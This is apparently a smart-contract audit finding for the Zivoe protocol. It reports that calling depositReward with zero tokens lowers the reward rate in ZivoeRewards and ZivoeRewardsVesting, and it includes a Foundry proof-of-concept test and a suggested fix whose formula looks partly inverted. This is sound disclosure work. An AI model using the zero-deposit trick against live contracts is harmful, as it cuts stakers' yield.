Faint Berry Gecko

high

# Attacker can decrease reward rate in ZivoeRewards and ZivoeRewardsVesting

## Summary
An attacker can decrease the reward rate for a reward token in ZivoeRewards and ZivoeRewardsVesting by calling `depositReward()` without depositing any tokens.

## Vulnerability Detail
In `depositRewards()`, the reward rate is calculated using:

```sol
uint256 remaining = rewardData[_rewardsToken].periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardData[_rewardsToken].rewardRate);
rewardData[_rewardsToken].rewardRate = reward.add(leftover).div(rewardData[_rewardsToken].rewardsDuration);
```

So reward rate is the total amount of reward tokens left to distribute divided by the reward duration. By calling the function without depositing any tokens (`reward == 0`), it will update the reward rate using just the leftover tokens. That value will always be smaller than the initial deposit. Thus, subsequent calls to the function will always result in the reward rate being decreased.

## Impact
Users receive fewer reward tokens than they should lowering their yield.

## Code Snippet
https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/ZivoeRewards.sol#L225-L243

Here's a PoC:

```sol
// TESTS_Core/Test_ZivoeRewards.sol
   function test_attack() public {
        uint256 deposit = 1e18;

        // Pre-state.
        uint256 _preDAI = IERC20(DAI).balanceOf(address(stZVE));

        (
            uint256 rewardsDuration,
            uint256 periodFinish,
            uint256 rewardRate,
            uint256 lastUpdateTime,
            uint256 rewardPerTokenStored
        ) = stZVE.rewardData(DAI);

        assert(block.timestamp >= periodFinish);

        // depositReward().
        mint("DAI", address(bob), deposit);
        assert(bob.try_approveToken(DAI, address(stZVE), deposit));

        assert(bob.try_depositReward(address(stZVE), DAI, deposit));

        (
            rewardsDuration,
            periodFinish,
            rewardRate,
            lastUpdateTime,
            rewardPerTokenStored
        ) = stZVE.rewardData(DAI);

        assertEq(rewardsDuration, 30 days);
        assertEq(rewardRate, deposit / rewardsDuration);
    
        vm.warp(block.timestamp + 15 days);
        assert(bob.try_depositReward(address(stZVE), DAI, 0));

        (
            rewardsDuration,
            periodFinish,
            rewardRate,
            lastUpdateTime,
            rewardPerTokenStored
        ) = stZVE.rewardData(DAI);

        assertEq(rewardsDuration, 30 days);
        
        // will fail
        assertEq(rewardRate, deposit / rewardsDuration);
    }
```

## Tool used

Manual Review

## Recommendation
The leftover funds should be distributed with the initial reward rate:

```sol
initialRewardRate = leftovers / (rewardsDuration - (depositTs - block.timestamp))
rewardRate = initialRewardRate + reward / rewardsDuration
```
